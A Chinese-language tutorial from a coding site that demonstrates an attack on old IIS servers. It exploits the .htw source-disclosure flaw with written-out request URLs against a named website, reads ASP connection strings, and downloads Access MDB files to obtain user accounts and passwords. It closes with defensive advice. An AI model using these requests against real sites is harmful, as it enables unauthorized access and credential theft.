首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

淺談資料庫攻擊入門(一):本地 Access/MDB 洩露與源碼審計

     編輯:MySQL 資料庫相關知識

Web 應用普遍依賴資料庫,分為本地小型庫與遠程大型庫兩類。本文以實戰案例演示如何利用 IIS 源碼洩露漏洞獲取 ASP 連接字串,進而下載本地 MDB 文件並提取敏感數據。

一、掃描與漏洞發現

目標:www.suilian.net(NT 4.0 + IIS 4.0),使用 twwwscan 等工具發現 .htw 源碼洩露漏洞:

https://www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp&CiRestriction=none&CiHiliteType=full
https://www.suilian.net/null.htw?CiWebhitsfile=/index.asp&CiRestriction=none&CiHiliteType=full
...(多個聊天室頁面同樣洩露)

二、ASP 源碼審計定位資料庫

典型 ASP 連接代碼結構:

<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "DRIVER={Microsoft Access Driver (*.mdb)};DBQ=" & Server.MapPath("chat/news.mdb")
%>

從源碼可直接獲得:資料庫類型、路徑(d:\S\suilian\chat\news.mdb)、表名、欄位名。

三、直接下載 MDB 文件

若 Web 目錄權限配置不當,可直接通過 URL 下載:

https://www.suilian.net/chat/news.mdb
https://www.suilian.net/topic22.mdb

下載後用 Access 打開即可查看所有用戶帳號、密碼及業務數據。

四、防禦建議

  1. 修補 IIS 源碼洩露漏洞(安裝補丁、禁用 .htw/.ida 映射)。
  2. 資料庫文件放置於 Web 根目錄之外,不可直接 HTTP 存取。
  3. 連接字串採用 DSN 方式配置於 ODBC,避免硬編碼在代碼中。
  4. 設置 MDB 文件 NTFS 權限,僅允許應用池身份讀寫。

本地資料庫攻擊門檻極低,往往源於基礎配置疏忽。開發與運維需建立「資料文件不可 Web 直達」的鐵律。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved